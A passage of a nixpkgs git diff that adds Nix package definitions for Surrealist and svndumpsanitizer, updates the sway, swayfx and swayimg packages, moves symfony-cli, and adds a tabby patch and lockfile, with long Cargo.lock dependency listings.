"windows 0.39.0", + "windows-implement", +] + +[[package]] +name = "webview2-com-macros" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaebe196c01691db62e9e4ca52c5ef1e4fd837dcae27dae3ada599b5a8fd05ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "webview2-com-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aac48ef20ddf657755fdcda8dfed2a7b4fc7e4581acce6fe9b88c3d64f29dee7" +dependencies = [ + "regex", + "serde", + "serde_json", + "thiserror", + "windows 0.39.0", + "windows-bindgen", + "windows-metadata", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57b543186b344cc61c85b5aab0d2e3adf4e0f99bc076eff9aa5927bcc0b8a647" +dependencies = [ + "windows_aarch64_msvc 0.37.0", + "windows_i686_gnu 0.37.0", + "windows_i686_msvc 0.37.0", + "windows_x86_64_gnu 0.37.0", + "windows_x86_64_msvc 0.37.0", +] + +[[package]] +name = "windows" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1c4bd0a50ac6020f65184721f758dba47bb9fbc2133df715ec74a237b26794a" +dependencies = [ + "windows-implement", + "windows_aarch64_msvc 0.39.0", + "windows_i686_gnu 0.39.0", + "windows_i686_msvc 0.39.0", + "windows_x86_64_gnu 0.39.0", + "windows_x86_64_msvc 0.39.0", +] + +[[package]] +name = "windows" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-bindgen" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68003dbd0e38abc0fb85b939240f4bce37c43a5981d3df37ccbaaa981b47cb41" +dependencies = [ + "windows-metadata", + "windows-tokens", +] + +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-implement" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba01f98f509cb5dc05f4e5fc95e535f78260f15fea8fe1a8abdd08f774f1cee7" +dependencies = [ + "syn 1.0.109", + "windows-tokens", +] + +[[package]] +name = "windows-metadata" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ee5e275231f07c6e240d14f34e1b635bf1faa1c76c57cfd59a5cdb9848e4278" + +[[package]] +name = "windows-sys" +version = "0.42.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows-tokens" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f838de2fe15fe6bac988e74b798f26499a8b21a9d97edec321e79b28d1d7f597" + +[[package]] +name = "windows-version" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75aa004c988e080ad34aff5739c39d0312f4684699d6d71fc8a198d057b8b9b4" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2623277cb2d1c216ba3b578c0f3cf9cdebeddb6e66b1b218bb33596ea7769c3a" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec7711666096bd4096ffa835238905bb33fb87267910e154b18b44eaabb340f2" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3925fd0b0b804730d44d4b6278c50f9699703ec49bcd628020f46f4ba07d9e1" + +[[package]] +name = "windows_i686_gnu" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "763fc57100a5f7042e3057e7e8d9bdd7860d330070251a73d003563a3bb49e1b" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce907ac74fe331b524c1298683efbf598bb031bc84d5e274db2083696d07c57c" + +[[package]] +name = "windows_i686_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7bc7cbfe58828921e10a9f446fcaaf649204dcfe6c1ddd712c5eebae6bda1106" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2babfba0828f2e6b32457d5341427dcbb577ceef556273229959ac23a10af33d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6868c165637d653ae1e8dc4d82c25d4f97dd6605eaa8d784b5c6e0ab2a252b65" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4dd6dc7df2d84cf7b33822ed5b86318fb1781948e9663bacd047fc9dd52259d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e4d40883ae9cae962787ca76ba76390ffa29214667a111db9e0a1ad8377e809" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winnow" +version = "0.5.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7520bbdec7211caa7c4e682eb1fbe07abe20cee6756b6e00f537c82c11816aa" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "937f3df7948156640f46aacef17a70db0de5917bda9c92b0f751f3a955b588fc" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wry" +version = "0.24.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ad85d0e067359e409fcb88903c3eac817c392e5d638258abfb3da5ad8ba6fc4" +dependencies = [ + "base64 0.13.1", + "block", + "cocoa", + "core-graphics", + "crossbeam-channel", + "dunce", + "gdk", + "gio", + "glib", + "gtk", + "html5ever", + "http 0.2.11", + "kuchikiki", + "libc", + "log", + "objc", + "objc_id", + "once_cell", + "serde", + "serde_json", + "sha2", + "soup2", + "tao", + "thiserror", + "url", + "webkit2gtk", + "webkit2gtk-sys", + "webview2-com", + "windows 0.39.0", + "windows-implement", +] + +[[package]] +name = "x11" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e" +dependencies = [ + "libc", + "pkg-config", +] + +[[package]] +name = "x11-dl" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" +dependencies = [ + "libc", + "once_cell", + "pkg-config", +] + +[[package]] +name = "xattr" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "914566e6413e7fa959cc394fb30e563ba80f3541fbd40816d4c05a0fc3f2a0f1" +dependencies = [ + "libc", + "linux-raw-sys", + "rustix", +] diff --git a/pkgs/by-name/su/surrealist/package.nix b/pkgs/by-name/su/surrealist/package.nix new file mode 100644 index 0000000000000..4ecda4959ae9e --- /dev/null +++ b/pkgs/by-name/su/surrealist/package.nix @@ -0,0 +1,186 @@ +{ buildGoModule +, cacert +, cairo +, cargo +, cargo-tauri +, esbuild +, fetchFromGitHub +, gdk-pixbuf +, gobject-introspection +, jq +, lib +, libsoup +, llvmPackages_15 +, makeBinaryWrapper +, moreutils +, nodePackages +, pango +, pkg-config +, rustc +, rustPlatform +, stdenv +, stdenvNoCC +, wasm-bindgen-cli +, webkitgtk +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "surrealist"; + version = "1.11.5"; + + src = fetchFromGitHub { + owner = "StarlaneStudios"; + repo = "Surrealist"; + rev = "v${finalAttrs.version}"; + hash = "sha256-9hm45bTvOhDHYYFUs7nTdOkHOsDJUiqDv8F6wQqEdFs="; + }; + + sourceRoot = "${finalAttrs.src.name}/src-tauri"; + + embed = stdenv.mkDerivation { + inherit (finalAttrs) src version; + pname = "${finalAttrs.pname}-embed"; + sourceRoot = "${finalAttrs.src.name}/src-embed"; + auditable = false; + dontInstall = true; + + cargoDeps = rustPlatform.fetchCargoTarball { + inherit (finalAttrs) src; + sourceRoot = "${finalAttrs.src.name}/src-embed"; + hash = "sha256-sf1sn3lOKvUu5MXxdMohS1DJ8jP9icZGftJKhrWA/JE="; + }; + + nativeBuildInputs = [ + cargo + rustc + llvmPackages_15.clangNoLibc + llvmPackages_15.lld + rustPlatform.cargoSetupHook + wasm-bindgen-cli + ]; + + postBuild = '' + CC=clang CARGO_TARGET_WASM32_UNKNOWN_UNKNOWN_LINKER=lld cargo build \ + --target wasm32-unknown-unknown \ + --release + + wasm-bindgen \ + target/wasm32-unknown-unknown/release/surrealist_embed.wasm \ + --out-dir $out \ + --out-name surrealist-embed \ + --target web + ''; + }; + + pnpm-deps = stdenvNoCC.mkDerivation { + inherit (finalAttrs) src version; + pname = "${finalAttrs.pname}-pnpm-deps"; + dontFixup = true; + + nativeBuildInputs = [ cacert jq moreutils nodePackages.pnpm ]; + + postInstall = '' + export HOME=$(mktemp -d) + pnpm config set store-dir $out + # use --ignore-script and --no-optional to avoid downloading binaries + # use --frozen-lockfile to avoid checking git deps + pnpm install --frozen-lockfile --no-optional --ignore-script + + # Remove timestamp and sort the json files + rm -rf $out/v3/tmp + for f in $(find $out -name "*.json"); do + sed -i -E -e 's/"checkedAt":[0-9]+,//g' $f + jq --sort-keys . $f | sponge $f + done + ''; + + outputHashMode = "recursive"; + outputHash = "sha256-jT0Bw0xiusOw/5o6EUaEV3/GqkD/l6jkwXmOqc3a/nc="; + }; + + ui = stdenvNoCC.mkDerivation { + inherit (finalAttrs) src version; + pname = "${finalAttrs.pname}-ui"; + dontFixup = true; + + ESBUILD_BINARY_PATH = let version = "0.18.20"; + in "${lib.getExe (esbuild.override { + buildGoModule = args: + buildGoModule (args // { + inherit version; + src = fetchFromGitHub { + owner = "evanw"; + repo = "esbuild"; + rev = "v${version}"; + hash = "sha256-mED3h+mY+4H465m02ewFK/BgA1i/PQ+ksUNxBlgpUoI="; + }; + vendorHash = "sha256-+BfxCyg0KkDQpHt/wycy/8CTG6YBA/VJvJFhhzUnSiQ="; + }); + })}"; + + nativeBuildInputs = [ nodePackages.pnpm ]; + + postPatch = '' + ln -s ${finalAttrs.embed} src/generated + ''; + + postBuild = '' + export HOME=$(mktemp -d) + pnpm config set store-dir ${finalAttrs.pnpm-deps} + pnpm install --offline --frozen-lockfile --no-optional --ignore-script + pnpm build + ''; + + postInstall = '' + cp -r dist $out + ''; + }; + + cargoDeps = rustPlatform.importCargoLock { + lockFile = ./Cargo.lock; + outputHashes = { + "tauri-plugin-localhost-0.1.0" = + "sha256-7PJgz6t/jPEwX/2xaOe0SYawfPSZw/F1QtOrc6iPiP0="; + }; + }; + + nativeBuildInputs = [ + cargo + cargo-tauri + makeBinaryWrapper + pkg-config + rustc + rustPlatform.cargoSetupHook + ]; + + buildInputs = + [ cairo gdk-pixbuf gobject-introspection libsoup pango webkitgtk ]; + + postPatch = '' + substituteInPlace ./tauri.conf.json \ + --replace '"distDir": "../dist",' '"distDir": "${finalAttrs.ui}",' \ + --replace '"beforeBuildCommand": "pnpm build",' '"beforeBuildCommand": "",' + ''; + + postBuild = '' + cargo tauri build --bundles deb + ''; + + postInstall = '' + install -Dm555 target/release/bundle/deb/surrealist_${finalAttrs.version}_*/data/usr/bin/surrealist -t $out/bin + cp -r target/release/bundle/deb/surrealist_${finalAttrs.version}_*/data/usr/share $out + ''; + + postFixup = '' + wrapProgram "$out/bin/surrealist" --set WEBKIT_DISABLE_COMPOSITING_MODE 1 + ''; + + meta = with lib; { + description = "Powerful graphical SurrealDB query playground and database explorer for Browser and Desktop"; + homepage = "https://surrealist.starlane.studio"; + license = licenses.mit; + mainProgram = "surrealist"; + maintainers = with maintainers; [ frankp ]; + platforms = platforms.linux; + }; +}) diff --git a/pkgs/by-name/sv/svndumpsanitizer/package.nix b/pkgs/by-name/sv/svndumpsanitizer/package.nix new file mode 100644 index 0000000000000..2c29015fbe803 --- /dev/null +++ b/pkgs/by-name/sv/svndumpsanitizer/package.nix @@ -0,0 +1,35 @@ +{ lib +, stdenv +, fetchFromGitHub +}: + +stdenv.mkDerivation { + pname = "svndumpsanitizer"; + version = "2.0.7"; + src = fetchFromGitHub { + owner = "dsuni"; + repo = "svndumpsanitizer"; + # https://github.com/dsuni/svndumpsanitizer/issues/22 + rev = "cbf917c000ee42fbb31a8667014a4357bbfdd6a6"; + hash = "sha256-lkVX11t0AF4y1EQQFXjPTrJmsfJhgx5Y1xj1VDlsbH0="; + }; + buildPhase = '' + runHook preBuild + cc svndumpsanitizer.c -o svndumpsanitizer + runHook postBuild + ''; + installPhase = '' + runHook preInstall + install -Dm555 svndumpsanitizer -t $out/bin + runHook postInstall + ''; + meta = with lib; { + description = "Alternative to svndumpfilter that discovers which nodes should actually be kept"; + homepage = "https://miria.homelinuxserver.org/svndumpsanitizer"; + downloadPage = "https://github.com/dsuni/svndumpsanitizer"; + license = licenses.gpl3Plus; + maintainers = with maintainers; [ lafrenierejm ]; + mainProgram = "svndumpsanitizer"; + platforms = platforms.unix; + }; +} diff --git a/pkgs/by-name/sw/sway-unwrapped/package.nix b/pkgs/by-name/sw/sway-unwrapped/package.nix index 452925beeabb0..89af07a9af3d6 100644 --- a/pkgs/by-name/sw/sway-unwrapped/package.nix +++ b/pkgs/by-name/sw/sway-unwrapped/package.nix @@ -2,7 +2,7 @@ , meson, ninja, pkg-config, wayland-scanner, scdoc , libGL, wayland, libxkbcommon, pcre2, json_c, libevdev , pango, cairo, libinput, gdk-pixbuf, librsvg -, wlroots_0_16, wayland-protocols, libdrm +, wlroots, wayland-protocols, libdrm , nixosTests # Used by the NixOS module: , isNixOS ? false @@ -11,19 +11,16 @@ , trayEnabled ? systemdSupport }: -let - wlroots = wlroots_0_16; -in stdenv.mkDerivation (finalAttrs: { pname = "sway-unwrapped"; - version = "1.8.1"; + version = "1.9"; inherit enableXWayland isNixOS systemdSupport trayEnabled; src = fetchFromGitHub { owner = "swaywm"; repo = "sway"; rev = finalAttrs.version; - hash = "sha256-WxnT+le9vneQLFPz2KoBduOI+zfZPhn1fKlaqbPL6/g="; + hash = "sha256-/6+iDkQfdLcL/pTJaqNc6QdP4SRVOYLjfOItEu/bZtg="; }; patches = [ @@ -34,11 +31,6 @@ stdenv.mkDerivation (finalAttrs: { inherit swaybg; }) - (fetchpatch { - name = "LIBINPUT_CONFIG_ACCEL_PROFILE_CUSTOM.patch"; - url = "https://github.com/swaywm/sway/commit/dee032d0a0ecd958c902b88302dc59703d703c7f.diff"; - hash = "sha256-dx+7MpEiAkxTBnJcsT3/1BO8rYRfNLecXmpAvhqGMD0="; - }) ] ++ lib.optionals (!finalAttrs.isNixOS) [ # References to /nix/store/... will get GC'ed which causes problems when # copying the default configuration: diff --git a/pkgs/by-name/sw/swaycons/package.nix b/pkgs/by-name/sw/swaycons/package.nix index c990a2bb5186c..33e5ab3666d45 100644 --- a/pkgs/by-name/sw/swaycons/package.nix +++ b/pkgs/by-name/sw/swaycons/package.nix @@ -20,7 +20,7 @@ rustPlatform.buildRustPackage rec { description = "Window Icons in Sway with Nerd Fonts!"; homepage = "https://github.com/ActuallyAllie/swaycons"; license = licenses.asl20; - platforms = [ "x86_64-linux" ]; + platforms = platforms.linux; maintainers = with maintainers; [ aacebedo ]; }; } diff --git a/pkgs/by-name/sw/swayfx-unwrapped/package.nix b/pkgs/by-name/sw/swayfx-unwrapped/package.nix index b49496f1383da..dfbb2e540c534 100644 --- a/pkgs/by-name/sw/swayfx-unwrapped/package.nix +++ b/pkgs/by-name/sw/swayfx-unwrapped/package.nix @@ -4,6 +4,7 @@ sway-unwrapped, stdenv, systemd, + wlroots_0_16, # Used by the NixOS module: isNixOS ? false, enableXWayland ? true, @@ -18,6 +19,8 @@ systemdSupport trayEnabled ; + + wlroots = wlroots_0_16; }).overrideAttrs (oldAttrs: rec { pname = "swayfx-unwrapped"; version = "0.3.2"; @@ -29,18 +32,6 @@ sha256 = "sha256-Gwewb0yDVhEBrefSSGDf1hLtpWcntzifPCPJQhqLqI0="; }; - # This patch was backported into SwayFX - # remove when next release is rebased on Sway 1.9 - patches = - let - removePatches = [ - "LIBINPUT_CONFIG_ACCEL_PROFILE_CUSTOM.patch" - ]; - in - builtins.filter - (patch: !builtins.elem (patch.name or null) removePatches) - (oldAttrs.patches or [ ]); - meta = with lib; { description = "Sway, but with eye candy!"; homepage = "https://github.com/WillPower3309/swayfx"; diff --git a/pkgs/by-name/sw/swayimg/package.nix b/pkgs/by-name/sw/swayimg/package.nix index 28d6711cb598b..c6c838559ed36 100644 --- a/pkgs/by-name/sw/swayimg/package.nix +++ b/pkgs/by-name/sw/swayimg/package.nix @@ -26,13 +26,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "swayimg"; - version = "2.0"; + version = "2.1"; src = fetchFromGitHub { owner = "artemsen"; repo = "swayimg"; rev = "v${finalAttrs.version}"; - hash = "sha256-JL48l7hwx+apQY7GJ6soaPXoOmxXk6iqrUxRy9hT5YI="; + hash = "sha256-+ntunT1FbgGcxpKGTcs7G7FYmoAobu/p/8ATIoBzfKE="; }; strictDeps = true; diff --git a/pkgs/development/tools/symfony-cli/default.nix b/pkgs/by-name/sy/symfony-cli/package.nix index e316ae8322310..e316ae8322310 100644 --- a/pkgs/development/tools/symfony-cli/default.nix +++ b/pkgs/by-name/sy/symfony-cli/package.nix diff --git a/pkgs/by-name/ta/tabby/0001-nix-build-use-nix-native-llama-cpp-package.patch b/pkgs/by-name/ta/tabby/0001-nix-build-use-nix-native-llama-cpp-package.patch new file mode 100644 index 0000000000000..ca48d140081df --- /dev/null +++ b/pkgs/by-name/ta/tabby/0001-nix-build-use-nix-native-llama-cpp-package.patch @@ -0,0 +1,29 @@ +From c0152b6bbd751313be756fdcd7b3e3912567b535 Mon Sep 17 00:00:00 2001 +From: Will Owens <ghthor@gmail.com> +Date: Fri, 1 Mar 2024 01:37:55 -0500 +Subject: [PATCH] nix-build: use nix native llama-cpp package + +--- + crates/llama-cpp-bindings/build.rs | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/crates/llama-cpp-bindings/build.rs b/crates/llama-cpp-bindings/build.rs +index 06629ac4..aa004493 100644 +--- a/crates/llama-cpp-bindings/build.rs ++++ b/crates/llama-cpp-bindings/build.rs +@@ -12,10 +12,10 @@ fn main() { + + println!("cargo:rerun-if-changed=include/engine.h"); + println!("cargo:rerun-if-changed=src/engine.cc"); ++ println!("cargo:rustc-link-search=native={}", env::var("LLAMA_CPP_LIB").unwrap()); + println!("cargo:rustc-link-lib=llama"); +- println!("cargo:rustc-link-lib=ggml_static"); ++ println!("cargo:rustc-link-lib=ggml_shared"); + +- build_llama_cpp(); + build_cxx_binding(); + } + +-- +2.43.1 + diff --git a/pkgs/by-name/ta/tabby/Cargo.lock b/pkgs/by-name/ta/tabby/Cargo.lock new file mode 100644 index 0000000000000..ab4805aecd1da --- /dev/null +++ b/pkgs/by-name/ta/tabby/Cargo.lock @@ -0,0 +1,5510 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a76fd60b23679b7d19bd066031410fb7e458ccc5e958eb5c325888ce4baedc97" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ahash" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" +dependencies = [ + "cfg-if", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "aim-downloader" +version = "0.8.3" +dependencies = [ + "async-stream", + "clap", + "custom_error", + "dotenvy", + "futures-util", + "home", + "indicatif", + "netrc", + "regex", + "reqwest", + "serial_test 2.0.0", + "sha2", + "strfmt", + "tokio", + "tokio-util", + "url-parse", +] + +[[package]] +name = "allocator-api2" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5" + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "ansi_term" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2" +dependencies = [ + "winapi", +] + +[[package]] +name = "anstream" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41ed9a86bf92ae6580e0a31281f65a1b1d867c0cc68d5346e2ae128dddfa6a7d" + +[[package]] +name = "anstyle-parse" +version = "0.2.0" +source = 